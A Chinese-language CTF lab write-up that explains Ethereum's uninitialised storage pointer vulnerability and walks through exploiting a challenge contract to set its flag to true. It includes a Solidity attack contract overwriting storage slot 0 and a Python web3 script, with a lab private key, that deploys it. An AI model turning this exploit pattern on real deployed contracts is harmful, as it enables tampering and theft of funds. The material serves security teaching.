區塊鏈安全
文章目錄
- 區塊鏈安全
- 未初始化的存儲指針實戰一
- 實驗目的
- 實驗環境
- 實驗工具
- 實驗原理
- 實驗過程
未初始化的存儲指針實戰一
實驗目的
學會使用python3的web3模塊
學會分析以太坊智能合約未初始化的存儲指針漏洞
找到合約漏洞進行分析并形成利用
實驗環境
Ubuntu18.04操作機
實驗工具
python3
實驗原理
在solidity語言中,像動態的數組、struct、mapping這樣的復雜數據結構是不能直接在”棧”里面保存的,因為”棧”里只能保存單獨的”字”,也就是只能保存實際數據長度小于等于32字節的簡單數據類型。所以在solidity智能合約函數中聲明動態數組和struct時,必須明確指明其位置在storage還是memory中。
在函數內部,mapping類型則不能作為臨時變量使用,只能作為某個狀態變量的”儲存指針”,也就是mapping類型必須在編譯時進行預先初始化,而不能作為運動時產生的數據。如果智能合約函數聲明了臨時的動態數組或者sturct,而沒有指定“位置”,且沒有進行初始化,那么這些變量將默認存儲在storage。
未初始化的存儲指針是指在 EVM 中未進行初始化的 storage 變量,這個變量會指向其他變量的區域,從而更改其他變量的值。
實驗內容
合約中內置了結構體未初始化的存儲指針問題,找到合約漏洞并形成利用,把合約中的flag變量設置為true即可
使用python3的web3模塊遠程利用漏洞并獲取flag
實驗地址為nc ip 10007
實驗過程
獲取合約地址和合約源代碼
nc ip 10007連接到題目,輸入1,獲取部署合約的game account及token
打開http://ip,輸入上述分配的game account,點擊Request獲取eth
nc ip 10007連接到題目,輸入2,獲取部署合約的地址及new token
nc ip 10007連接到題目,輸入4,獲取合約源代碼,或者在題目附件找到合約源代碼
分析合約源代碼漏洞
題目要求將合約中的flag變量設置為true,分析代碼,并未見到直接可將flag設置為true的代碼
典型的利用 struct 默認是 storage 的題目,struct在函數中未明確指明是memory變量,則其是storage變量,聲明的變量默認從slot 0開始存儲
函數中聲明的 newRecord 結構體修改 name 和 mappedAddress 實際分別改的是 unlocked 和 bytes32 name
所以把 name 對應的 slot 0 的值改成 1 就行了
EXP利用
編寫第三方攻擊合約attack.sol,將下述ETH7地址換成自己題目合約的地址,調用目標合約的register(1, tx.origin)
pragma solidity ^0.4.23;
contract hack {
ETH7 target = ETH7(0x5cb6e41CEB6b8D41C238539EA0484Bd988f5CEb6);
constructor() public {
target.register(1, tx.origin);
}
}
用python編寫自動化exp,功能包括部署攻擊合約得到攻擊合約地址,在攻擊合約的構造函數中完成攻擊
from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import timew3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))contract_address = "0x5cb6e41CEB6b8D41C238539EA0484Bd988f5CEb6"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"def generate_tx(chainID, to, data, value):txn = {'chainId': chainID,'from': Web3.toChecksumAddress(public),'to': to,'gasPrice': w3.eth.gasPrice,'gas': 3000000,'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),'value': Web3.toWei(value, 'ether'),'data': data,}return txndef sign_and_send(txn):signed_txn = w3.eth.account.signTransaction(txn, private)txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)print("txn_hash=", txn_hash)return txn_receiptset_solc_version_pragma('^0.4.23')
with open('./attack.sol', 'r') as f:SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:hack']txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)
flag = w3.eth.get_storage_at(contract_address, 0).hex()
print(flag)
執行exp
nc ip 10007連接到題目,輸入3,輸入之前的new token,獲取flag